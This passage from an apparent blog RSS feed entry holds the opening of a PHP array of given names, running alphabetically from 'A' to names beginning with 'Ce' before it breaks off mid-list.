      <pubDate>Fri, 12 Mar 2021 06:06:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e33783ab3ded4dd692a24177f7edf7c5/</guid>
      <description>$names = array( &#39;A&#39;, &#39;AJ&#39;, &#39;Aadam&#39;, &#39;Aadit&#39;, &#39;Aahana&#39;, &#39;Aahron&#39;, &#39;Aaima&#39;, &#39;Aaiva&#39;, &#39;Aakriti&#39;, &#39;Aaliyah&#39;, &#39;Aamanee&#39;, &#39;Aamina&#39;, &#39;Aaminah&#39;, &#39;Aamirah&#39;, &#39;Aamna&#39;, &#39;Aanya&#39;, &#39;Aara&#39;, &#39;Aaraa&#39;, &#39;Aaran&#39;, &#39;Aaren&#39;, &#39;Aarez&#39;, &#39;Aarifah&#39;, &#39;Aarman&#39;, &#39;Aaron&#39;, &#39;Aarron&#39;, &#39;Aarthi&#39;, &#39;Aaryan&#39;, &#39;Aaryn&#39;, &#39;Aaryn&#39;, &#39;Aayan&#39;, &#39;Aayat&#39;, &#39;Aayma&#39;, &#39;Aazaan&#39;, &#39;Abaan&#39;, &#39;Abaigeal&#39;, &#39;Abar&#39;, &#39;Abbas&#39;, &#39;Abbe&#39;, &#39;Abbegail&#39;, &#39;Abbey&#39;, &#39;Abbeygail&#39;, &#39;Abbeygale&#39;, &#39;Abbi&#39;, &#39;Abbie&#39;, &#39;Abbiegail&#39;, &#39;Abbigail&#39;, &#39;Abbigale&#39;, &#39;Abby&#39;, &#39;Abdallah&#39;, &#39;Abdalroof&#39;, &#39;Abdihakim&#39;, &#39;Abdirahman&#39;, &#39;Abdisalam&#39;, &#39;Abdul&#39;, &#39;Abdulbasir&#39;, &#39;Abdulkadir&#39;, &#39;Abdulkarem&#39;, &#39;Abdulkhader&#39;, &#39;Abdullah&#39;, &#39;Abdulmalik&#39;, &#39;Abdur&#39;, &#39;Abdurraheem&#39;, &#39;Abeera&#39;, &#39;Abel&#39;, &#39;Abhia&#39;, &#39;Abhinav&#39;, &#39;Abhisumant&#39;, &#39;Abhy&#39;, &#39;Abi&#39;, &#39;Abia&#39;, &#39;Abid&#39;, &#39;Abigael&#39;, &#39;Abigail&#39;, &#39;Abigayle&#39;, &#39;Abiha&#39;, &#39;Abiola&#39;, &#39;Abir&#39;, &#39;Abisha&#39;, &#39;Abiya&#39;, &#39;Abraham&#39;, &#39;Abrar&#39;, &#39;Abrare&#39;, &#39;Abril&#39;, &#39;Abu&#39;, &#39;Abubakar&#39;, &#39;Aby&#39;, &#39;Ace&#39;, &#39;Ada&#39;, &#39;Adain&#39;, &#39;Adalaide&#39;, &#39;Adam&#39;, &#39;Adana&#39;, &#39;Addison&#39;, &#39;Addison&#39;, &#39;Addisson&#39;, &#39;Adeena&#39;, &#39;Adegbola&#39;, &#39;Adegbolahan&#39;, &#39;Adelaide&#39;, &#39;Adele&#39;, &#39;Aden&#39;, &#39;Adenn&#39;, &#39;Adie&#39;, &#39;Adil&#39;, &#39;Adison&#39;, &#39;Aditya&#39;, &#39;Adnan&#39;, &#39;Adonica&#39;, &#39;Adrian&#39;, &#39;Adrian&#39;, &#39;Adriana&#39;, &#39;Adrianna&#39;, &#39;Adrien&#39;, &#39;Adrienne&#39;, &#39;Adwoa&#39;, &#39;Aedan&#39;, &#39;Aedin&#39;, &#39;Aedyn&#39;, &#39;Aelish&#39;, &#39;Aeron&#39;, &#39;Aeryn&#39;, &#39;Aeva&#39;, &#39;Afifah&#39;, &#39;Afonso&#39;, &#39;Afrina&#39;, &#39;Afton&#39;, &#39;Agata&#39;, &#39;Agatha&#39;, &#39;Agnieszka&#39;, &#39;Ahdia&#39;, &#39;Ahmad&#39;, &#39;Ahmed&#39;, &#39;Ahoua&#39;, &#39;Ahtasham&#39;, &#39;Aiadan&#39;, &#39;Aibidh&#39;, &#39;Aida&#39;, &#39;Aidah&#39;, &#39;Aidan&#39;, &#39;Aiden&#39;, &#39;Aidian&#39;, &#39;Aidy&#39;, &#39;Aieecia&#39;, &#39;Aiesha&#39;, &#39;Aila&#39;, &#39;Ailee&#39;, &#39;Aileigh&#39;, &#39;Ailey&#39;, &#39;Aili&#39;, &#39;Ailidh&#39;, &#39;Ailie&#39;, &#39;Ailiegh&#39;, &#39;Ailin&#39;, &#39;Ailise&#39;, &#39;Ailish&#39;, &#39;Ailsa&#39;, &#39;Aiman&#39;, &#39;Aimee&#39;, &#39;Aimeeleigh&#39;, &#39;Aimi&#39;, &#39;Aimie&#39;, &#39;Aimiee&#39;, &#39;Aine&#39;, &#39;Ainsley&#39;, &#39;Ainsley&#39;, &#39;Ainslie&#39;, &#39;Ainslie&#39;, &#39;Airen&#39;, &#39;Airidas&#39;, &#39;Airlie&#39;, &#39;Airlie&#39;, &#39;Aisa&#39;, &#39;Aisha&#39;, &#39;Aishah&#39;, &#39;Aisling&#39;, &#39;Aislinn&#39;, &#39;Aiva&#39;, &#39;Aiyana&#39;, &#39;Aiyanna&#39;, &#39;Aizah&#39;, &#39;Ajay&#39;, &#39;Ajayraj&#39;, &#39;Ajooni&#39;, &#39;Akam&#39;, &#39;Akan&#39;, &#39;Akira&#39;, &#39;Akram&#39;, &#39;Al&#39;, &#39;Ala&#39;, &#39;Alaa&#39;, &#39;Alan&#39;, &#39;Alana&#39;, &#39;Alanah&#39;, &#39;Alanas&#39;, &#39;Alanda&#39;, &#39;Alani&#39;, &#39;Alanis&#39;, &#39;Alanna&#39;, &#39;Alannah&#39;, &#39;Alanys&#39;, &#39;Alara&#39;, &#39;Alasdair&#39;, &#39;Alaska&#39;, &#39;Alastair&#39;, &#39;Alayna&#39;, &#39;Alba&#39;, &#39;Alber&#39;, &#39;Albert&#39;, &#39;Albie&#39;, &#39;Aldred&#39;, &#39;Alea&#39;, &#39;Aleah&#39;, &#39;Alec&#39;, &#39;Alecia&#39;, &#39;Aled&#39;, &#39;Aleece&#39;, &#39;Aleem&#39;, &#39;Aleena&#39;, &#39;Aleese&#39;, &#39;Aleesha&#39;, &#39;Aleeshmah&#39;, &#39;Aleeyah&#39;, &#39;Aleeza&#39;, &#39;Aleina&#39;, &#39;Aleisha&#39;, &#39;Aleishia&#39;, &#39;Aleksandar&#39;, &#39;Aleksander&#39;, &#39;Aleksandr&#39;, &#39;Aleksandra&#39;, &#39;Aleksandrs&#39;, &#39;Alekzander&#39;, &#39;Alena&#39;, &#39;Alesha&#39;, &#39;Aleshia&#39;, &#39;Alessandra&#39;, &#39;Alessandro&#39;, &#39;Alessia&#39;, &#39;Alessio&#39;, &#39;Alex&#39;, &#39;Alex&#39;, &#39;Alexa&#39;, &#39;Alexander&#39;, &#39;Alexandra&#39;, &#39;Alexandria&#39;, &#39;Alexandrina&#39;, &#39;Alexanne&#39;, &#39;Alexei&#39;, &#39;Alexi&#39;, &#39;Alexia&#39;, &#39;Alexina&#39;, &#39;Alexis&#39;, &#39;Alexx&#39;, &#39;Alexx&#39;, &#39;Alexzander&#39;, &#39;Alf&#39;, &#39;Alfee&#39;, &#39;Alfie&#39;, &#39;Alfred&#39;, &#39;Alfy&#39;, &#39;Alhaji&#39;, &#39;Ali&#39;, &#39;Ali&#39;, &#39;Alice&#39;, &#39;Alicia&#39;, &#39;Alicja&#39;, &#39;Aliekber&#39;, &#39;Aliesha&#39;, &#39;Alieshah&#39;, &#39;Alieu&#39;, &#39;Alighia&#39;, &#39;Alihaider&#39;, &#39;Alina&#39;, &#39;Alisa&#39;, &#39;Alisdair&#39;, &#39;Alise&#39;, &#39;Alisha&#39;, &#39;Alishah&#39;, &#39;Alishan&#39;, &#39;Alishba&#39;, &#39;Alison&#39;, &#39;Alissa&#39;, &#39;Alistair&#39;, &#39;Alistar&#39;, &#39;Alister&#39;, &#39;Alivia&#39;, &#39;Alix&#39;, &#39;Aliya&#39;, &#39;Aliyaan&#39;, &#39;Aliyah&#39;, &#39;Aliza&#39;, &#39;Allan&#39;, &#39;Allana&#39;, &#39;Allanah&#39;, &#39;Allannah&#39;, &#39;Allegria&#39;, &#39;Alleisha&#39;, &#39;Allen&#39;, &#39;Allesandro&#39;, &#39;Alliah&#39;, &#39;Allice&#39;, &#39;Allie&#39;, &#39;Allisha&#39;, &#39;Allister&#39;, &#39;Ally&#39;, &#39;Ally&#39;, &#39;Almaas&#39;, &#39;Almirah&#39;, &#39;Alona&#39;, &#39;Alora&#39;, &#39;Alphonse&#39;, &#39;Alphonsina&#39;, &#39;Altyiab&#39;, &#39;Alum&#39;, &#39;Alva&#39;, &#39;Alveena&#39;, &#39;Alvern&#39;, &#39;Alvin&#39;, &#39;Alx&#39;, &#39;Alyas&#39;, &#39;Alycia&#39;, &#39;Alyessa&#39;, &#39;Alyia&#39;, &#39;Alysa&#39;, &#39;Alyse&#39;, &#39;Alysha&#39;, &#39;Alyshia&#39;, &#39;Alysia&#39;, &#39;Alyssa&#39;, &#39;Alyth&#39;, &#39;Alyx&#39;, &#39;Ama&#39;, &#39;Amaan&#39;, &#39;Amaarah&#39;, &#39;Amahle&#39;, &#39;Amaia&#39;, &#39;Amalia&#39;, &#39;Amalie&#39;, &#39;Aman&#39;, &#39;Amanda&#39;, &#39;Amaney&#39;, &#39;Amani&#39;, &#39;Amani&#39;, &#39;Amara&#39;, &#39;Amarah&#39;, &#39;Amaylyuh&#39;, &#39;Ambanimoh&#39;, &#39;Amber&#39;, &#39;Amberlouise&#39;, &#39;Amberly&#39;, &#39;Ambreen&#39;, &#39;Ame&#39;, &#39;Ameelia&#39;, &#39;Ameer&#39;, &#39;Ameera&#39;, &#39;Ameerah&#39;, &#39;Amelia&#39;, &#39;Amelie&#39;, &#39;Amelka&#39;, &#39;Amellie&#39;, &#39;Amera&#39;, &#39;Amey&#39;, &#39;Amez&#39;, &#39;Amgad&#39;, &#39;Ami&#39;, &#39;Ami&#39;, &#39;Amie&#39;, &#39;Amiee&#39;, &#39;Amieleigh&#39;, &#39;Amii&#39;, &#39;Amilie&#39;, &#39;Amin&#39;, &#39;Amina&#39;, &#39;Aminah&#39;, &#39;Amir&#39;, &#39;Amira&#39;, &#39;Amirah&#39;, &#39;Ammaar&#39;, &#39;Ammar&#39;, &#39;Ammara&#39;, &#39;Ammarah&#39;, &#39;Ammer&#39;, &#39;Amna&#39;, &#39;Amnah&#39;, &#39;Amolpreet&#39;, &#39;Amos&#39;, &#39;Amrien&#39;, &#39;Amrinder&#39;, &#39;Amrit&#39;, &#39;Amrita&#39;, &#39;Amro&#39;, &#39;Amy&#39;, &#39;Amylea&#39;, &#39;Amylee&#39;, &#39;Amyleigh&#39;, &#39;Amyrose&#39;, &#39;Ana&#39;, &#39;Anabella&#39;, &#39;Anabelle&#39;, &#39;Anais&#39;, &#39;Analucia&#39;, &#39;Analyse&#39;, &#39;Anastacia&#39;, &#39;Anastasia&#39;, &#39;Anastasija&#39;, &#39;Anastazja&#39;, &#39;Anay&#39;, &#39;Anaya&#39;, &#39;Anayah&#39;, &#39;Ander&#39;, &#39;Andi&#39;, &#39;Andie&#39;, &#39;Andra&#39;, &#39;Andrea&#39;, &#39;Andrea&#39;, &#39;Andreas&#39;, &#39;Andrei&#39;, &#39;Andrejs&#39;, &#39;Andrew&#39;, &#39;Andy&#39;, &#39;Aneeka&#39;, &#39;Anees&#39;, &#39;Aneesa&#39;, &#39;Aneesah&#39;, &#39;Aneilya&#39;, &#39;Aneliese&#39;, &#39;Aneshia&#39;, &#39;Aneshka&#39;, &#39;Anesu&#39;, &#39;Angali&#39;, &#39;Angaly&#39;, &#39;Angel&#39;, &#39;Angel&#39;, &#39;Angela&#39;, &#39;Angelic&#39;, &#39;Angelica&#39;, &#39;Angelika&#39;, &#39;Angelina&#39;, &#39;Angeline&#39;, &#39;Angelo&#39;, &#39;Angus&#39;, &#39;Aniela&#39;, &#39;Anifhe&#39;, &#39;Anika&#39;, &#39;Aniqa&#39;, &#39;Anir&#39;, &#39;Anis&#39;, &#39;Anisa&#39;, &#39;Anise&#39;, &#39;Anish&#39;, &#39;Anita&#39;, &#39;Anja&#39;, &#39;Anjali&#39;, &#39;Anjolaoluwa&#39;, &#39;Anmar&#39;, &#39;Anmol&#39;, &#39;Anmolpreet&#39;, &#39;Ann&#39;, &#39;Anna&#39;, &#39;Annabel&#39;, &#39;Annabella&#39;, &#39;Annabelle&#39;, &#39;Annagayle&#39;, &#39;Annalee&#39;, &#39;Annaleece&#39;, &#39;Annaleigh&#39;, &#39;Annalicia&#39;, &#39;Annaliesse&#39;, &#39;Annalisa&#39;, &#39;Annalise&#39;, &#39;Annan&#39;, &#39;Annastacia&#39;, &#39;Anndra&#39;, &#39;Anne&#39;, &#39;Annelie&#39;, &#39;Anneliese&#39;, &#39;Annelise&#39;, &#39;Anneroy&#39;, &#39;Annica&#39;, &#39;Annick&#39;, &#39;Annie&#39;, &#39;Annika&#39;, &#39;Annmarie&#39;, &#39;Annoushka&#39;, &#39;Annsarai&#39;, &#39;Anona&#39;, &#39;Anousha&#39;, &#39;Anselm&#39;, &#39;Anthony&#39;, &#39;Antigone&#39;, &#39;Antoine&#39;, &#39;Anton&#39;, &#39;Antoni&#39;, &#39;Antonia&#39;, &#39;Antonina&#39;, &#39;Antonio&#39;, &#39;Antony&#39;, &#39;Antonyo&#39;, &#39;Anubhav&#39;, &#39;Anum&#39;, &#39;Anurati&#39;, &#39;Anureet&#39;, &#39;Anwen&#39;, &#39;Anya&#39;, &#39;Aodhan&#39;, &#39;Aoibha&#39;, &#39;Aoibhe&#39;, &#39;Aoibheann&#39;, &#39;Aoife&#39;, &#39;Aon&#39;, &#39;Aonghus&#39;, &#39;Aphra&#39;, &#39;Apisai&#39;, &#39;April&#39;, &#39;Apryl&#39;, &#39;Aqsa&#39;, &#39;Arabella&#39;, &#39;Arafat&#39;, &#39;Aran&#39;, &#39;Arandeep&#39;, &#39;Arann&#39;, &#39;Aray&#39;, &#39;Arayan&#39;, &#39;Archibald&#39;, &#39;Archie&#39;, &#39;Architha&#39;, &#39;Arda&#39;, &#39;Ardal&#39;, &#39;Ardeshir&#39;, &#39;Areeb&#39;, &#39;Areeba&#39;, &#39;Areej&#39;, &#39;Areez&#39;, &#39;Aref&#39;, &#39;Arella&#39;, &#39;Arfa&#39;, &#39;Arfaa&#39;, &#39;Arfin&#39;, &#39;Argyle&#39;, &#39;Argyll&#39;, &#39;Ari&#39;, &#39;Aria&#39;, &#39;Aria&#39;, &#39;Ariah&#39;, &#39;Arian&#39;, &#39;Ariana&#39;, &#39;Arianna&#39;, &#39;Ariel&#39;, &#39;Ariella&#39;, &#39;Arihant&#39;, &#39;Arin&#39;, &#39;Arisha&#39;, &#39;Arissa&#39;, &#39;Aristomenis&#39;, &#39;Aristotelis&#39;, &#39;Arjuna&#39;, &#39;Arlene&#39;, &#39;Arlo&#39;, &#39;Armaan&#39;, &#39;Arman&#39;, &#39;Armani&#39;, &#39;Armelle&#39;, &#39;Armen&#39;, &#39;Arnab&#39;, &#39;Arnav&#39;, &#39;Arnold&#39;, &#39;Aron&#39;, &#39;Aronas&#39;, &#39;Aroob&#39;, &#39;Arooba&#39;, &#39;Arran&#39;, &#39;Arrham&#39;, &#39;Arron&#39;, &#39;Arryn&#39;, &#39;Arsalan&#39;, &#39;Arshita&#39;, &#39;Arshjoyat&#39;, &#39;Artem&#39;, &#39;Artemis&#39;, &#39;Arthur&#39;, &#39;Artur&#39;, &#39;Arturo&#39;, &#39;Arun&#39;, &#39;Arunas&#39;, &#39;Arved&#39;, &#39;Arwa&#39;, &#39;Arwen&#39;, &#39;Arya&#39;, &#39;Arya&#39;, &#39;Aryan&#39;, &#39;Aryankhan&#39;, &#39;Aryian&#39;, &#39;Aryn&#39;, &#39;Arzoo&#39;, &#39;Asa&#39;, &#39;Asal&#39;, &#39;Aseel&#39;, &#39;Asena&#39;, &#39;Asfhan&#39;, &#39;Ash&#39;, &#39;Asha&#39;, &#39;Ashbey&#39;, &#39;Ashlee&#39;, &#39;Ashleen&#39;, &#39;Ashleigh&#39;, &#39;Ashley&#39;, &#39;Ashley&#39;, &#39;Ashlin&#39;, &#39;Ashlyn&#39;, &#39;Ashlynn&#39;, &#39;Ashna&#39;, &#39;Ashton&#39;, &#39;Ashton&#39;, &#39;Ashtyn&#39;, &#39;Ashtyn&#39;, &#39;Ashwin&#39;, &#39;Asia&#39;, &#39;Asif&#39;, &#39;Asim&#39;, &#39;Asiya&#39;, &#39;Aslam&#39;, &#39;Asra&#39;, &#39;Asrar&#39;, &#39;Asritha&#39;, &#39;Astra&#39;, &#39;Astrid&#39;, &#39;Astrud&#39;, &#39;Asya&#39;, &#39;Ata&#39;, &#39;Atal&#39;, &#39;Atapattu&#39;, &#39;Ateeq&#39;, &#39;Athena&#39;, &#39;Athol&#39;, &#39;Athon&#39;, &#39;Atika&#39;, &#39;Atiya&#39;, &#39;Atlanta&#39;, &#39;Atli&#39;, &#39;Atom&#39;, &#39;Attila&#39;, &#39;Audrey&#39;, &#39;Aulay&#39;, &#39;Aun&#39;, &#39;Aurea&#39;, &#39;Aurelia&#39;, &#39;Aurelija&#39;, &#39;Aurlah&#39;, &#39;Aurora&#39;, &#39;Ausra&#39;, &#39;Austen&#39;, &#39;Austin&#39;, &#39;Autumn&#39;, &#39;Ava&#39;, &#39;Avah&#39;, &#39;Avani&#39;, &#39;Avani&#39;, &#39;Avanya&#39;, &#39;Averon&#39;, &#39;Avesta&#39;, &#39;Avi&#39;, &#39;Avinash&#39;, &#39;Avraham&#39;, &#39;Avril&#39;, &#39;Avsta&#39;, &#39;Avya&#39;, &#39;Awais&#39;, &#39;Awwal&#39;, &#39;Axel&#39;, &#39;Aya&#39;, &#39;Ayaan&#39;, &#39;Ayaan&#39;, &#39;Ayaana&#39;, &#39;Ayah&#39;, &#39;Ayan&#39;, &#39;Ayanna&#39;, &#39;Ayat&#39;, &#39;Ayda&#39;, &#39;Aydan&#39;, &#39;Ayden&#39;, &#39;Aydin&#39;, &#39;Aydon&#39;, &#39;Ayeesha&#39;, &#39;Ayeisha&#39;, &#39;Ayesha&#39;, &#39;Ayiah&#39;, &#39;Ayla&#39;, &#39;Ayleen&#39;, &#39;Ayleigh&#39;, &#39;Aylesha&#39;, &#39;Aylie&#39;, &#39;Aymal&#39;, &#39;Ayman&#39;, &#39;Aymie&#39;, &#39;Ayomide&#39;, &#39;Ayomide&#39;, &#39;Ayooluwa&#39;, &#39;Ayra&#39;, &#39;Ayren&#39;, &#39;Ayrton&#39;, &#39;Ayse&#39;, &#39;Aysha&#39;, &#39;Ayshah&#39;, &#39;Aytug&#39;, &#39;Ayub&#39;, &#39;Ayva&#39;, &#39;Ayyub&#39;, &#39;Azaan&#39;, &#39;Azedine&#39;, &#39;Azeem&#39;, &#39;Azim&#39;, &#39;Aziz&#39;, &#39;Azlan&#39;, &#39;Azzam&#39;, &#39;Azzedine&#39;, &#39;Babatunmise&#39;, &#39;Babur&#39;, &#39;Babyjane&#39;, &#39;Bader&#39;, &#39;Badr&#39;, &#39;Badsha&#39;, &#39;Baighley&#39;, &#39;Bailee&#39;, &#39;Baileigh&#39;, &#39;Bailey&#39;, &#39;Bailey&#39;, &#39;Bailie&#39;, &#39;Bailie&#39;, &#39;Bailley&#39;, &#39;Baillie&#39;, &#39;Baillie&#39;, &#39;Baley&#39;, &#39;Balian&#39;, &#39;Balqees&#39;, &#39;Banan&#39;, &#39;Barath&#39;, &#39;Barbara&#39;, &#39;Barkley&#39;, &#39;Barney&#39;, &#39;Baron&#39;, &#39;Barrie&#39;, &#39;Barry&#39;, &#39;Bartlomiej&#39;, &#39;Bartosz&#39;, &#39;Basher&#39;, &#39;Basile&#39;, &#39;Baxter&#39;, &#39;Bay&#39;, &#39;Baye&#39;, &#39;Bayleigh&#39;, &#39;Bayley&#39;, &#39;Bayley&#39;, &#39;Bayli&#39;, &#39;Baylie&#39;, &#39;Beatrice&#39;, &#39;Beatriz&#39;, &#39;Beau&#39;, &#39;Beau&#39;, &#39;Becca&#39;, &#39;Becky&#39;, &#39;Beinn&#39;, &#39;Bekim&#39;, &#39;Bekki&#39;, &#39;Believe&#39;, &#39;Bella&#39;, &#39;Belle&#39;, &#39;Ben&#39;, &#39;Bena&#39;, &#39;Bendeguz&#39;, &#39;Benedict&#39;, &#39;Benjamin&#39;, &#39;Benjamyn&#39;, &#39;Benji&#39;, &#39;Benn&#39;, &#39;Bennett&#39;, &#39;Benny&#39;, &#39;Benoit&#39;, &#39;Bente&#39;, &#39;Bentley&#39;, &#39;Beraka&#39;, &#39;Berkay&#39;, &#39;Berlin&#39;, &#39;Bernadette&#39;, &#39;Bernard&#39;, &#39;Bertie&#39;, &#39;Betane&#39;, &#39;Beth&#39;, &#39;Bethan&#39;, &#39;Bethanie&#39;, &#39;Bethany&#39;, &#39;Bethel&#39;, &#39;Betheny&#39;, &#39;Bethlin&#39;, &#39;Betsy&#39;, &#39;Betty&#39;, &#39;Bevin&#39;, &#39;Beyza&#39;, &#39;Bezalel&#39;, &#39;Bhaaldeen&#39;, &#39;Bharath&#39;, &#39;Bianca&#39;, &#39;Biatris&#39;, &#39;Bilal&#39;, &#39;Bill&#39;, &#39;Billi&#39;, &#39;Billie&#39;, &#39;Billiejo&#39;, &#39;Billy&#39;, &#39;Binod&#39;, &#39;Bintou&#39;, &#39;Bisma&#39;, &#39;Bismah&#39;, &#39;Bjorn&#39;, &#39;Blaike&#39;, &#39;Blaine&#39;, &#39;Blair&#39;, &#39;Blaire&#39;, &#39;Blaise&#39;, &#39;Blake&#39;, &#39;Blanka&#39;, &#39;Blazej&#39;, &#39;Blazey&#39;, &#39;Blessing&#39;, &#39;Blue&#39;, &#39;Blyth&#39;, &#39;Blyth&#39;, &#39;Blythe&#39;, &#39;Bo&#39;, &#39;Boab&#39;, &#39;Bob&#39;, &#39;Bobbi&#39;, &#39;Bobbie&#39;, &#39;Bobby&#39;, &#39;Bodhan&#39;, &#39;Boe&#39;, &#39;Boedyn&#39;, &#39;Bogdan&#39;, &#39;Bohbi&#39;, &#39;Boni&#39;, &#39;Bonni&#39;, &#39;Bonnie&#39;, &#39;Bony&#39;, &#39;Boshra&#39;, &#39;Boudicca&#39;, &#39;Bow&#39;, &#39;Bowen&#39;, &#39;Bowie&#39;, &#39;Boyd&#39;, &#39;Boys&#39;, &#39;Bracken&#39;, &#39;Bracken&#39;, &#39;Brad&#39;, &#39;Bradan&#39;, &#39;Braden&#39;, &#39;Bradley&#39;, &#39;Bradlie&#39;, &#39;Bradly&#39;, &#39;Brady&#39;, &#39;Bradyn&#39;, &#39;Braeden&#39;, &#39;Braegan&#39;, &#39;Braiden&#39;, &#39;Brajan&#39;, &#39;Bramble&#39;, &#39;Brandan&#39;, &#39;Branden&#39;, &#39;Brandi&#39;, &#39;Brandon&#39;, &#39;Brandonlee&#39;, &#39;Brandyn&#39;, &#39;Brannan&#39;, &#39;Brayden&#39;, &#39;Braydon&#39;, &#39;Braydyn&#39;, &#39;Brea&#39;, &#39;Breagh&#39;, &#39;Breagha&#39;, &#39;Breah&#39;, &#39;Breandan&#39;, &#39;Breanna&#39;, &#39;Bree&#39;, &#39;Breeanna&#39;, &#39;Brehme&#39;, &#39;Brenae&#39;, &#39;Brendan&#39;, &#39;Brendon&#39;, &#39;Brendyn&#39;, &#39;Brenna&#39;, &#39;Breogan&#39;, &#39;Bret&#39;, &#39;Brett&#39;, &#39;Briaddon&#39;, &#39;Briagha&#39;, &#39;Brian&#39;, &#39;Briana&#39;, &#39;Brianna&#39;, &#39;Brieghanna&#39;, &#39;Brier&#39;, &#39;Brigitte&#39;, &#39;Briony&#39;, &#39;Brodi&#39;, &#39;Brodi&#39;, &#39;Brodie&#39;, &#39;Brodie&#39;, &#39;Brody&#39;, &#39;Brody&#39;, &#39;Brogan&#39;, &#39;Brogan&#39;, &#39;Broghan&#39;, &#39;Broghan&#39;, &#39;Bronagh&#39;, &#39;Bronte&#39;, &#39;Bronwen&#39;, &#39;Bronwyn&#39;, &#39;Brook&#39;, &#39;Brooke&#39;, &#39;Brooke&#39;, &#39;Brookelyn&#39;, &#39;Brooklin&#39;, &#39;Brooklyn&#39;, &#39;Brooklyn&#39;, &#39;Brooklynn&#39;, &#39;Bruce&#39;, &#39;Bruin&#39;, &#39;Bruno&#39;, &#39;Brunon&#39;, &#39;Bryan&#39;, &#39;Bryanna&#39;, &#39;Bryce&#39;, &#39;Bryden&#39;, &#39;Brydon&#39;, &#39;Bryn&#39;, &#39;Bryn&#39;, &#39;Brynmor&#39;, &#39;Bryoni&#39;, &#39;Bryony&#39;, &#39;Bryson&#39;, &#39;Buddy&#39;, &#39;Bully&#39;, &#39;Burak&#39;, &#39;Burhan&#39;, &#39;Buse&#39;, &#39;Bushra&#39;, &#39;Butali&#39;, &#39;Butchi&#39;, &#39;Byron&#39;, &#39;CJ&#39;, &#39;Cabhan&#39;, &#39;Caceylee&#39;, &#39;Cacie&#39;, &#39;Cadan&#39;, &#39;Cadance&#39;, &#39;Cade&#39;, &#39;Caden&#39;, &#39;Cadence&#39;, &#39;Cadey&#39;, &#39;Cadhla&#39;, &#39;Cadie&#39;, &#39;Cadon&#39;, &#39;Cady&#39;, &#39;Cadyn&#39;, &#39;Caedan&#39;, &#39;Caedyn&#39;, &#39;Cael&#39;, &#39;Caela&#39;, &#39;Caelainn&#39;, &#39;Caelan&#39;, &#39;Caelan&#39;, &#39;Caelen&#39;, &#39;Caelinn&#39;, &#39;Caelyn&#39;, &#39;Caera&#39;, &#39;Caethan&#39;, &#39;Cahl&#39;, &#39;Cahlum&#39;, &#39;Cai&#39;, &#39;Caidan&#39;, &#39;Caiden&#39;, &#39;Caiden&#39;, &#39;Caidie&#39;, &#39;Caidy&#39;, &#39;Caidyn&#39;, &#39;Caidyn&#39;, &#39;Caie&#39;, &#39;Cailaen&#39;, &#39;Cailean&#39;, &#39;Caileen&#39;, &#39;Cailie&#39;, &#39;Cailin&#39;, &#39;Cailin&#39;, &#39;Cailyn&#39;, &#39;Cailyne&#39;, &#39;Cain&#39;, &#39;Caine&#39;, &#39;Caiolea&#39;, &#39;Caiomhe&#39;, &#39;Cairn&#39;, &#39;Caisey&#39;, &#39;Cait&#39;, &#39;Caitaidh&#39;, &#39;Caite&#39;, &#39;Caitlin&#39;, &#39;Caitlinn&#39;, &#39;Caitlyn&#39;, &#39;Caitlynn&#39;, &#39;Caity&#39;, &#39;Cal&#39;, &#39;Calah&#39;, &#39;Calan&#39;, &#39;Calder&#39;, &#39;Cale&#39;, &#39;Cale&#39;, &#39;Calean&#39;, &#39;Caleb&#39;, &#39;Caleigh&#39;, &#39;Calen&#39;, &#39;Caley&#39;, &#39;Caley&#39;, &#39;Cali&#39;, &#39;Calib&#39;, &#39;Calice&#39;, &#39;Calin&#39;, &#39;Calla&#39;, &#39;Callahan&#39;, &#39;Callan&#39;, &#39;Calleigh&#39;, &#39;Calley&#39;, &#39;Calli&#39;, &#39;Callia&#39;, &#39;Callie&#39;, &#39;Callie&#39;, &#39;Callin&#39;, &#39;Callum&#39;, &#39;Callun&#39;, &#39;Cally&#39;, &#39;Callyn&#39;, &#39;Calum&#39;, &#39;Calvin&#39;, &#39;Calypso&#39;, &#39;Cambell&#39;, &#39;Camerin&#39;, &#39;Cameron&#39;, &#39;Cameron&#39;, &#39;Cameryn&#39;, &#39;Camilla&#39;, &#39;Camille&#39;, &#39;Camillie&#39;, &#39;Campbel&#39;, &#39;Campbell&#39;, &#39;Camren&#39;, &#39;Camron&#39;, &#39;Camryn&#39;, &#39;Candice&#39;, &#39;Caoilainn&#39;, &#39;Caoilfhinn&#39;, &#39;Caoilfinn&#39;, &#39;Caoimhe&#39;, &#39;Caolain&#39;, &#39;Caolan&#39;, &#39;Capree&#39;, &#39;Capri&#39;, &#39;Cara&#39;, &#39;Caragh&#39;, &#39;Carah&#39;, &#39;Caralee&#39;, &#39;Carey&#39;, &#39;Cari&#39;, &#39;Carina&#39;, &#39;Caris&#39;, &#39;Carisen&#39;, &#39;Cariss&#39;, &#39;Carl&#39;, &#39;Carla&#39;, &#39;Carlee&#39;, &#39;Carley&#39;, &#39;Carli&#39;, &#39;Carlie&#39;, &#39;Carlo&#39;, &#39;Carlos&#39;, &#39;Carlotta&#39;, &#39;Carly&#39;, &#39;Carlynn&#39;, &#39;Carmel&#39;, &#39;Carmella&#39;, &#39;Carmen&#39;, &#39;Carmyle&#39;, &#39;Carol&#39;, &#39;Carolanne&#39;, &#39;Caroline&#39;, &#39;Carolyn&#39;, &#39;Carra&#39;, &#39;Carragh&#39;, &#39;Carri&#39;, &#39;Carrich&#39;, &#39;Carrick&#39;, &#39;Carrie&#39;, &#39;Carris&#39;, &#39;Carron&#39;, &#39;Carson&#39;, &#39;Carter&#39;, &#39;Carwyn&#39;, &#39;Caryn&#39;, &#39;Carys&#39;, &#39;Caryss&#39;, &#39;Casey&#39;, &#39;Casey&#39;, &#39;Caseyleigh&#39;, &#39;Casie&#39;, &#39;Casper&#39;, &#39;Cassandra&#39;, &#39;Cassia&#39;, &#39;Cassidy&#39;, &#39;Cassie&#39;, &#39;Cassieleigh&#39;, &#39;Cassy&#39;, &#39;Cassy&#39;, &#39;Cate&#39;, &#39;Cathal&#39;, &#39;Catharine&#39;, &#39;Catherine&#39;, &#39;Cathleen&#39;, &#39;Cathryn&#39;, &#39;Catlin&#39;, &#39;Cator&#39;, &#39;Catrin&#39;, &#39;Catriona&#39;, &#39;Cavan&#39;, &#39;Cayce&#39;, &#39;Caydee&#39;, &#39;Cayden&#39;, &#39;Caydence&#39;, &#39;Cayla&#39;, &#39;Caylin&#39;, &#39;Caysey&#39;, &#39;Ceara&#39;, &#39;Cecilia&#39;, &#39;Cecily&#39;, &#39;Cedar&#39;, &#39;Ceejay&#39;, &#39;Ceilan&#39;, &#39;Ceilidh&#39;, 